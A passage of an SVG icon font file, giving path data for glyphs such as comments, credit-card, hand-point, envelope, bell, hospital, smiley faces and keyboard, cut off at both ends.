d="M396.8 96c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v230.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-230.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004zM204.8 96
c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v198.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-198.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004zM300.8 96
c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v134.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-134.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004zM496 48c8.83984 0 16 -7.16016 16 -16v-16
c0 -8.83984 -7.16016 -16 -16 -16h-464c-17.6699 0 -32 14.3301 -32 32v336c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-320h448zM108.8 96c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v70.4004c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004
c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-70.4004c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004z" />
    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="576" 
d="M532 61.7998c15.2998 -30.7002 37.4004 -54.5 37.7998 -54.7998c6.2998 -6.7002 8 -16.5 4.40039 -25c-3.7002 -8.5 -12 -14 -21.2002 -14c-53.5996 0 -96.7002 20.2998 -125.2 38.7998c-19 -4.39941 -39 -6.7998 -59.7998 -6.7998
c-86.2002 0 -159.9 40.4004 -191.3 97.7998c-9.7002 1.2002 -19.2002 2.7998 -28.4004 4.90039c-28.5 -18.6006 -71.7002 -38.7998 -125.2 -38.7998c-9.19922 0 -17.5996 5.5 -21.1992 14c-3.7002 8.5 -1.90039 18.2998 4.39941 25
c0.400391 0.399414 22.4004 24.1992 37.7002 54.8994c-27.5 27.2002 -44 61.2002 -44 98.2002c0 88.4004 93.0996 160 208 160c86.2998 0 160.3 -40.5 191.8 -98.0996c99.7002 -11.8008 176.2 -77.9004 176.2 -157.9c0 -37.0996 -16.5 -71.0996 -44 -98.2002zM139.2 154.1
l19.7998 -4.5c16 -3.69922 32.5 -5.59961 49 -5.59961c86.7002 0 160 51.2998 160 112s-73.2998 112 -160 112s-160 -51.2998 -160 -112c0 -28.7002 16.2002 -50.5996 29.7002 -64l24.7998 -24.5l-15.5 -31.0996c-2.59961 -5.10059 -5.2998 -10.1006 -8 -14.8008
c14.5996 5.10059 29 12.3008 43.0996 21.4004zM498.3 96c13.5 13.4004 29.7002 35.2998 29.7002 64c0 49.2002 -48.2998 91.5 -112.7 106c0.299805 -3.2998 0.700195 -6.59961 0.700195 -10c0 -80.9004 -78 -147.5 -179.3 -158.3
c29.0996 -29.6006 77.2998 -49.7002 131.3 -49.7002c16.5 0 33 1.90039 49 5.59961l19.9004 4.60059l17.0996 -11.1006c14.0996 -9.09961 28.5 -16.2998 43.0996 -21.3994c-2.69922 4.7002 -5.39941 9.7002 -8 14.7998l-15.5 31.0996z" />
    <glyph glyph-name="star-half" unicode="&#xf089;" horiz-adv-x="576" 
d="M288 62.7002v-54.2998l-130.7 -68.6006c-23.3994 -12.2998 -50.8994 7.60059 -46.3994 33.7002l25 145.5l-105.7 103c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2002l65.2998 132.4c5.90039 11.8994 17.2998 17.7998 28.7002 17.7998v-68.0996l-62.2002 -126
l-139 -20.2002l100.601 -98l-23.7002 -138.4z" />
    <glyph glyph-name="lemon" unicode="&#xf094;" 
d="M484.112 420.111c28.1221 -28.123 35.9434 -68.0039 19.0215 -97.0547c-23.0576 -39.584 50.1436 -163.384 -82.3311 -295.86c-132.301 -132.298 -256.435 -59.3594 -295.857 -82.3291c-29.0459 -16.917 -68.9219 -9.11426 -97.0576 19.0205
c-28.1221 28.1221 -35.9434 68.0029 -19.0215 97.0547c23.0566 39.5859 -50.1436 163.386 82.3301 295.86c132.308 132.309 256.407 59.3496 295.862 82.332c29.0498 16.9219 68.9307 9.09863 97.0537 -19.0234zM461.707 347.217
c13.5166 23.2031 -27.7578 63.7314 -50.4883 50.4912c-66.6025 -38.7939 -165.646 45.5898 -286.081 -74.8457c-120.444 -120.445 -36.0449 -219.472 -74.8447 -286.08c-13.542 -23.2471 27.8145 -63.6953 50.4932 -50.4883
c66.6006 38.7949 165.636 -45.5996 286.076 74.8428c120.444 120.445 36.0449 219.472 74.8447 286.08zM291.846 338.481c1.37012 -10.96 -6.40332 -20.957 -17.3643 -22.3271c-54.8467 -6.85547 -135.779 -87.7871 -142.636 -142.636
c-1.37305 -10.9883 -11.3984 -18.7334 -22.3262 -17.3643c-10.9609 1.37012 -18.7344 11.3652 -17.3643 22.3262c9.16211 73.2852 104.167 168.215 177.364 177.364c10.9531 1.36816 20.9561 -6.40234 22.3262 -17.3633z" />
    <glyph glyph-name="credit-card" unicode="&#xf09d;" horiz-adv-x="576" 
d="M527.9 416c26.5996 0 48.0996 -21.5 48.0996 -48v-352c0 -26.5 -21.5 -48 -48.0996 -48h-479.801c-26.5996 0 -48.0996 21.5 -48.0996 48v352c0 26.5 21.5 48 48.0996 48h479.801zM54.0996 368c-3.2998 0 -6 -2.7002 -6 -6v-42h479.801v42c0 3.2998 -2.7002 6 -6 6
h-467.801zM521.9 16c3.2998 0 6 2.7002 6 6v170h-479.801v-170c0 -3.2998 2.7002 -6 6 -6h467.801zM192 116v-40c0 -6.59961 -5.40039 -12 -12 -12h-72c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h72c6.59961 0 12 -5.40039 12 -12zM384 116v-40
c0 -6.59961 -5.40039 -12 -12 -12h-136c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h136c6.59961 0 12 -5.40039 12 -12z" />
    <glyph glyph-name="hdd" unicode="&#xf0a0;" horiz-adv-x="576" 
d="M567.403 212.358c5.59668 -8.04688 8.59668 -17.6113 8.59668 -27.4121v-136.946c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v136.946c0 8.30957 3.85156 20.5898 8.59668 27.4121l105.08 151.053
c7.90625 11.3652 25.5596 20.5889 39.4033 20.5889h0.000976562h269.838h0.000976562c13.8438 0 31.4971 -9.22363 39.4033 -20.5889zM153.081 336l-77.9131 -112h425.664l-77.9131 112h-269.838zM528 48v128h-480v-128h480zM496 112c0 -17.6729 -14.3271 -32 -32 -32
s-32 14.3271 -32 32s14.3271 32 32 32s32 -14.3271 32 -32zM400 112c0 -17.6729 -14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32s32 -14.3271 32 -32z" />
    <glyph glyph-name="hand-point-right" unicode="&#xf0a4;" 
d="M428.8 310.4c45.0996 0 83.2002 -38.1016 83.2002 -83.2002c0 -45.6162 -37.7646 -83.2002 -83.2002 -83.2002h-35.6475c-1.41602 -6.36719 -4.96875 -16.252 -7.92969 -22.0645c2.50586 -22.0059 -3.50293 -44.9775 -15.9844 -62.791
c-1.14062 -52.4863 -37.3984 -91.1445 -99.9404 -91.1445h-21.2988c-60.0635 0 -98.5117 40 -127.2 40h-2.67871c-5.74707 -4.95215 -13.5361 -8 -22.1201 -8h-64c-17.6729 0 -32 12.8936 -32 28.7998v230.4c0 15.9062 14.3271 28.7998 32 28.7998h64.001
c8.58398 0 16.373 -3.04785 22.1201 -8h2.67871c6.96387 0 14.8623 6.19336 30.1816 23.6689l0.128906 0.148438l0.130859 0.145508c8.85645 9.93652 18.1162 20.8398 25.8506 33.2529c18.7051 30.2471 30.3936 78.7842 75.707 78.7842c56.9277 0 92 -35.2861 92 -83.2002
v-0.0839844c0 -6.21777 -0.974609 -16.2148 -2.17578 -22.3154h86.1768zM428.8 192c18.9756 0 35.2002 16.2246 35.2002 35.2002c0 18.7002 -16.7754 35.2002 -35.2002 35.2002h-158.399c0 17.3242 26.3994 35.1992 26.3994 70.3994c0 26.4004 -20.625 35.2002 -44 35.2002
c-8.79395 0 -20.4443 -32.7119 -34.9258 -56.0996c-9.07422 -14.5752 -19.5244 -27.2256 -30.7988 -39.875c-16.1094 -18.374 -33.8359 -36.6328 -59.0752 -39.5967v-176.753c42.79 -3.7627 74.5088 -39.6758 120 -39.6758h21.2988
c40.5244 0 57.124 22.1973 50.6006 61.3252c14.6113 8.00098 24.1514 33.9785 12.9248 53.625c19.3652 18.2246 17.7871 46.3809 4.9502 61.0498h91.0254zM88 64c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24z" />
    <glyph glyph-name="hand-point-left" unicode="&#xf0a5;" 
d="M0 227.2c0 45.0986 38.1006 83.2002 83.2002 83.2002h86.1758c-1.3623 6.91016 -2.17578 14.374 -2.17578 22.3994c0 47.9141 35.0723 83.2002 92 83.2002c45.3135 0 57.002 -48.5371 75.7061 -78.7852c7.73438 -12.4121 16.9951 -23.3154 25.8506 -33.2529
l0.130859 -0.145508l0.128906 -0.148438c15.3213 -17.4746 23.2197 -23.668 30.1836 -23.668h2.67871c5.74707 4.95215 13.5361 8 22.1201 8h64c17.6729 0 32 -12.8936 32 -28.7998v-230.4c0 -15.9062 -14.3271 -28.7998 -32 -28.7998h-64
c-8.58398 0 -16.373 3.04785 -22.1201 8h-2.67871c-28.6885 0 -67.1367 -40 -127.2 -40h-21.2988c-62.542 0 -98.8008 38.6582 -99.9404 91.1445c-12.4814 17.8135 -18.4922 40.7852 -15.9844 62.791c-2.96094 5.8125 -6.51367 15.6973 -7.92969 22.0645h-35.6465
c-45.4355 0 -83.2002 37.584 -83.2002 83.2002zM48 227.2c0 -18.9756 16.2246 -35.2002 35.2002 -35.2002h91.0244c-12.8369 -14.6689 -14.415 -42.8252 4.9502 -61.0498c-11.2256 -19.6465 -1.68652 -45.624 12.9248 -53.625
c-6.52246 -39.1279 10.0771 -61.3252 50.6016 -61.3252h21.2988c45.4912 0 77.21 35.9131 120 39.6768v176.752c-25.2393 2.96289 -42.9658 21.2227 -59.0752 39.5967c-11.2744 12.6494 -21.7246 25.2998 -30.7988 39.875
c-14.4814 23.3877 -26.1318 56.0996 -34.9258 56.0996c-23.375 0 -44 -8.7998 -44 -35.2002c0 -35.2002 26.3994 -53.0752 26.3994 -70.3994h-158.399c-18.4248 0 -35.2002 -16.5 -35.2002 -35.2002zM448 88c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24
s24 10.7451 24 24s-10.7451 24 -24 24z" />
    <glyph glyph-name="hand-point-up" unicode="&#xf0a6;" horiz-adv-x="448" 
d="M105.6 364.8c0 45.0996 38.1016 83.2002 83.2002 83.2002c45.6162 0 83.2002 -37.7646 83.2002 -83.2002v-35.6465c6.36719 -1.41602 16.252 -4.96875 22.0645 -7.92969c22.0059 2.50684 44.9775 -3.50293 62.791 -15.9844
c52.4863 -1.14062 91.1445 -37.3984 91.1445 -99.9404v-21.2988c0 -60.0635 -40 -98.5117 -40 -127.2v-2.67871c4.95215 -5.74707 8 -13.5361 8 -22.1201v-64c0 -17.6729 -12.8936 -32 -28.7998 -32h-230.4c-15.9062 0 -28.7998 14.3271 -28.7998 32v64
c0 8.58398 3.04785 16.373 8 22.1201v2.67871c0 6.96387 -6.19336 14.8623 -23.6689 30.1816l-0.148438 0.128906l-0.145508 0.130859c-9.93652 8.85645 -20.8398 18.1162 -33.2529 25.8506c-30.2471 18.7051 -78.7842 30.3936 -78.7842 75.707
c0 56.9277 35.2861 92 83.2002 92h0.0839844c6.21777 0 16.2148 -0.974609 22.3154 -2.17578v86.1768zM224 364.8c0 18.9756 -16.2246 35.2002 -35.2002 35.2002c-18.7002 0 -35.2002 -16.7754 -35.2002 -35.2002v-158.399c-17.3242 0 -35.1992 26.3994 -70.3994 26.3994
c-26.4004 0 -35.2002 -20.625 -35.2002 -44c0 -8.79395 32.7119 -20.4443 56.0996 -34.9258c14.5752 -9.07422 27.2256 -19.5244 39.875 -30.7988c18.374 -16.1094 36.6328 -33.8359 39.5967 -59.0752h176.753c3.7627 42.79 39.6758 74.5088 39.6758 120v21.2988
c0 40.5244 -22.1973 57.124 -61.3252 50.6006c-8.00098 14.6113 -33.9785 24.1514 -53.625 12.9248c-18.2246 19.3652 -46.3809 17.7871 -61.0498 4.9502v91.0254zM352 24c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24z" />
    <glyph glyph-name="hand-point-down" unicode="&#xf0a7;" horiz-adv-x="448" 
d="M188.8 -64c-45.0986 0 -83.2002 38.1006 -83.2002 83.2002v86.1758c-6.91016 -1.3623 -14.374 -2.17578 -22.3994 -2.17578c-47.9141 0 -83.2002 35.0723 -83.2002 92c0 45.3135 48.5371 57.002 78.7852 75.707c12.4121 7.73438 23.3154 16.9951 33.2529 25.8506
l0.145508 0.130859l0.148438 0.128906c17.4746 15.3213 23.668 23.2197 23.668 30.1836v2.67871c-4.95215 5.74707 -8 13.5361 -8 22.1201v64c0 17.6729 12.8936 32 28.7998 32h230.4c15.9062 0 28.7998 -14.3271 28.7998 -32v-64.001
c0 -8.58398 -3.04785 -16.373 -8 -22.1201v-2.67871c0 -28.6885 40 -67.1367 40 -127.2v-21.2988c0 -62.542 -38.6582 -98.8008 -91.1445 -99.9404c-17.8135 -12.4814 -40.7852 -18.4922 -62.791 -15.9844c-5.8125 -2.96094 -15.6973 -6.51367 -22.0645 -7.92969v-35.6465
c0 -45.4355 -37.584 -83.2002 -83.2002 -83.2002zM188.8 -16c18.9756 0 35.2002 16.2246 35.2002 35.2002v91.0244c14.6689 -12.8369 42.8252 -14.415 61.0498 4.9502c19.6465 -11.2256 45.624 -1.68652 53.625 12.9248c39.1279 -6.52246 61.3252 10.0771 61.3252 50.6016
v21.2988c0 45.4912 -35.9131 77.21 -39.6768 120h-176.752c-2.96289 -25.2393 -21.2227 -42.9658 -39.5967 -59.0752c-12.6494 -11.2744 -25.2998 -21.7246 -39.875 -30.7988c-23.3877 -14.4814 -56.0996 -26.1318 -56.0996 -34.9258c0 -23.375 8.7998 -44 35.2002 -44
c35.2002 0 53.0752 26.3994 70.3994 26.3994v-158.399c0 -18.4248 16.5 -35.2002 35.2002 -35.2002zM328 384c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24z" />
    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="448" 
d="M433.941 382.059c7.75977 -7.75977 14.0586 -22.9658 14.0586 -33.9404v-268.118c0 -26.5098 -21.4902 -48 -48 -48h-80v-48c0 -26.5098 -21.4902 -48 -48 -48h-224c-26.5098 0 -48 21.4902 -48 48v320c0 26.5098 21.4902 48 48 48h80v48c0 26.5098 21.4902 48 48 48
h172.118c10.9746 0 26.1807 -6.29883 33.9404 -14.0586zM266 -16c3.31152 0 6 2.68848 6 6v42h-96c-26.5098 0 -48 21.4902 -48 48v224h-74c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h212zM394 80c3.31152 0 6 2.68848 6 6v202h-88
c-13.2549 0 -24 10.7451 -24 24v88h-106c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h212zM400 336v9.63184v0.000976562c0 1.37207 -0.787109 3.27246 -1.75684 4.24219l-48.3682 48.3682c-1.12598 1.125 -2.65234 1.75684 -4.24316 1.75684h-9.63184
v-64h64z" />
    <glyph glyph-name="save" unicode="&#xf0c7;" horiz-adv-x="448" 
d="M433.941 318.059c7.75977 -7.75977 14.0586 -22.9658 14.0586 -33.9404v-268.118c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h268.118c10.9746 0 26.1807 -6.29883 33.9404 -14.0586zM272 368h-128v-80h128v80
zM394 16c3.31152 0 6 2.68848 6 6v259.632v0.000976562c0 1.37207 -0.787109 3.27246 -1.75684 4.24219l-78.2432 78.2432v-100.118c0 -13.2549 -10.7451 -24 -24 -24h-176c-13.2549 0 -24 10.7451 -24 24v104h-42c-3.31152 0 -6 -2.68848 -6 -6v-340
c0 -3.31152 2.68848 -6 6 -6h340zM224 216c48.5234 0 88 -39.4766 88 -88s-39.4766 -88 -88 -88s-88 39.4766 -88 88s39.4766 88 88 88zM224 88c22.0557 0 40 17.9443 40 40s-17.9443 40 -40 40s-40 -17.9443 -40 -40s17.9443 -40 40 -40z" />
    <glyph glyph-name="square" unicode="&#xf0c8;" horiz-adv-x="448" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM394 16c3.2998 0 6 2.7002 6 6v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340z" />
    <glyph glyph-name="envelope" unicode="&#xf0e0;" 
d="M464 384c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416zM464 336h-416v-40.8047c22.4248 -18.2627 58.1797 -46.6602 134.587 -106.49
c16.834 -13.2422 50.2051 -45.0762 73.4131 -44.7012c23.2119 -0.371094 56.5723 31.4541 73.4131 44.7012c76.4189 59.8389 112.165 88.2305 134.587 106.49v40.8047zM48 48h416v185.601c-22.915 -18.252 -55.4189 -43.8691 -104.947 -82.6523
c-22.5439 -17.748 -60.3359 -55.1787 -103.053 -54.9473c-42.9277 -0.231445 -81.2051 37.75 -103.062 54.9551c-49.5293 38.7842 -82.0244 64.3945 -104.938 82.6455v-185.602z" />
    <glyph glyph-name="lightbulb" unicode="&#xf0eb;" horiz-adv-x="352" 
d="M176 368c8.83984 0 16 -7.16016 16 -16s-7.16016 -16 -16 -16c-35.2803 0 -64 -28.7002 -64 -64c0 -8.83984 -7.16016 -16 -16 -16s-16 7.16016 -16 16c0 52.9404 43.0596 96 96 96zM96.0596 -11.1699l-0.0400391 43.1797h159.961l-0.0507812 -43.1797
c-0.00976562 -3.13965 -0.939453 -6.21973 -2.67969 -8.83984l-24.5098 -36.8398c-2.95996 -4.45996 -7.95996 -7.14062 -13.3203 -7.14062h-78.8496c-5.35059 0 -10.3506 2.68066 -13.3203 7.14062l-24.5098 36.8398c-1.75 2.62012 -2.68066 5.68945 -2.68066 8.83984z
M176 448c97.2002 0 176 -78.7998 176 -176c0 -44.3701 -16.4502 -84.8496 -43.5498 -115.79c-16.6406 -18.9795 -42.7402 -58.79 -52.4199 -92.1602v-0.0498047h-48v0.0996094c0.00390625 4.04199 0.999023 10.4482 2.21973 14.3008
c5.67969 17.9893 22.9902 64.8496 62.0996 109.46c20.4102 23.29 31.6504 53.1699 31.6504 84.1396c0 70.5801 -57.4199 128 -128 128c-68.2803 0 -128.15 -54.3604 -127.95 -128c0.0898438 -30.9902 11.0703 -60.71 31.6104 -84.1396
c39.3496 -44.9004 56.5801 -91.8604 62.1699 -109.67c1.42969 -4.56055 2.13965 -9.30078 2.15039 -14.0703v-0.120117h-48v0.0595703c-9.68066 33.3604 -35.7803 73.1709 -52.4209 92.1602c-27.1094 30.9307 -43.5596 71.4102 -43.5596 115.78
c0 93.0303 73.7197 176 176 176z" />
    <glyph glyph-name="bell" unicode="&#xf0f3;" horiz-adv-x="448" 
d="M439.39 85.71c6 -6.44043 8.66016 -14.1602 8.61035 -21.71c-0.0996094 -16.4004 -12.9805 -32 -32.0996 -32h-383.801c-19.1191 0 -31.9893 15.5996 -32.0996 32c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c19.3193 20.7598 55.4697 51.9902 55.4697 154.29
c0 77.7002 54.4795 139.9 127.939 155.16v20.8398c0 17.6699 14.3203 32 31.9805 32s31.9805 -14.3301 31.9805 -32v-20.8398c73.46 -15.2598 127.939 -77.46 127.939 -155.16c0 -102.3 36.1504 -133.53 55.4697 -154.29zM67.5303 80h312.939
c-21.2197 27.96 -44.4199 74.3203 -44.5293 159.42c0 0.200195 0.0595703 0.379883 0.0595703 0.580078c0 61.8604 -50.1396 112 -112 112s-112 -50.1396 -112 -112c0 -0.200195 0.0595703 -0.379883 0.0595703 -0.580078
c-0.109375 -85.0898 -23.3096 -131.45 -44.5293 -159.42zM224 -64c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64z" />
    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="448" 
d="M128 204v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12zM268 192c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40
c0 -6.62695 -5.37305 -12 -12 -12h-40zM192 108c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM268 96c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40
c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40zM448 -28v-36h-448v36c0 6.62695 5.37305 12 12 12h19.5v378.965c0 11.6172 10.7451 21.0352 24 21.0352h88.5v40c0 13.2549 10.7451 24 24 24h112c13.2549 0 24 -10.7451 24 -24v-40h88.5
c13.2549 0 24 -9.41797 24 -21.0352v-378.965h19.5c6.62695 0 12 -5.37305 12 -12zM79.5 -15h112.5v67c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-67h112.5v351h-64.5v-24c0 -13.2549 -10.7451 -24 -24 -24h-112c-13.2549 0 -24 10.7451 -24 24v24
h-64.5v-351zM266 384h-26v26c0 3.31152 -2.68848 6 -6 6h-20c-3.31152 0 -6 -2.68848 -6 -6v-26h-26c-3.31152 0 -6 -2.68848 -6 -6v-20c0 -3.31152 2.68848 -6 6 -6h26v-26c0 -3.31152 2.68848 -6 6 -6h20c3.31152 0 6 2.68848 6 6v26h26c3.31152 0 6 2.68848 6 6v20
c0 3.31152 -2.68848 6 -6 6z" />
    <glyph glyph-name="plus-square" unicode="&#xf0fe;" horiz-adv-x="448" 
d="M352 208v-32c0 -6.59961 -5.40039 -12 -12 -12h-88v-88c0 -6.59961 -5.40039 -12 -12 -12h-32c-6.59961 0 -12 5.40039 -12 12v88h-88c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h88v88c0 6.59961 5.40039 12 12 12h32c6.59961 0 12 -5.40039 12 -12
v-88h88c6.59961 0 12 -5.40039 12 -12zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340
c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="circle" unicode="&#xf111;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200z" />
    <glyph glyph-name="smile" unicode="&#xf118;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32
s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM332 135.4c8.5 10.1992 23.7002 11.5 33.7998 3.09961c10.2002 -8.5 11.6006 -23.5996 3.10059 -33.7998
c-30 -36 -74.1006 -56.6006 -120.9 -56.6006s-90.9004 20.6006 -120.9 56.6006c-8.39941 10.2002 -7.09961 25.2998 3.10059 33.7998c10.0996 8.40039 25.2998 7.09961 33.7998 -3.09961c20.7998 -25.1006 51.5 -39.4004 84 -39.4004s63.2002 14.4004 84 39.4004z" />
    <glyph glyph-name="frown" unicode="&#xf119;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32
s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM248 144c40.2002 0 78 -17.7002 103.8 -48.5996c8.40039 -10.2002 7.10059 -25.3008 -3.09961 -33.8008
c-10.7002 -8.7998 -25.7002 -6.59961 -33.7998 3.10059c-16.6006 20 -41 31.3994 -66.9004 31.3994s-50.2998 -11.5 -66.9004 -31.3994c-8.5 -10.2002 -23.5996 -11.5 -33.7998 -3.10059c-10.2002 8.5 -11.5996 23.6006 -3.09961 33.8008
c25.7998 30.8994 63.5996 48.5996 103.8 48.5996z" />
    <glyph glyph-name="meh" unicode="&#xf11a;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32
s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM336 128c13.2002 0 24 -10.7998 24 -24s-10.7998 -24 -24 -24h-176c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24h176z
" />
    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="576" 
d="M528 384c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h480zM536 48v288c0 4.41113 -3.58887 8 -8 8h-480c-4.41113 0 -8 -3.58887 -8 -8v-288c0 -4.41113 3.58887 -8 8 -8
h480c4.41113 0 8 3.58887 8 8zM170 178c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM266 178c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28
c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM362 178c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM458 178c0 -6.62695 -5.37305 -12 -12 -12h-28
c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM122 96c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM506 96
c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM122 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28
c6.62695 0 12 -5.37305 12 -12v-28zM218 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM314 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28
c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM410 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM506 260c0 -6.62695 -5.37305 -12 -12 -12h-28
c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM408 102c0 -6.62695 -5.37305 -12 -12 -12h-216c-6.62695 0 -12 5.37305 -12 12v16c0 6.62695 5.37305 12 12 12h216c6.62695 0 12 -5.37305 12 -12v-16z" />
    <glyph glyph-name="calendar" unicode="&#xf133;" horiz-adv-x="448" 
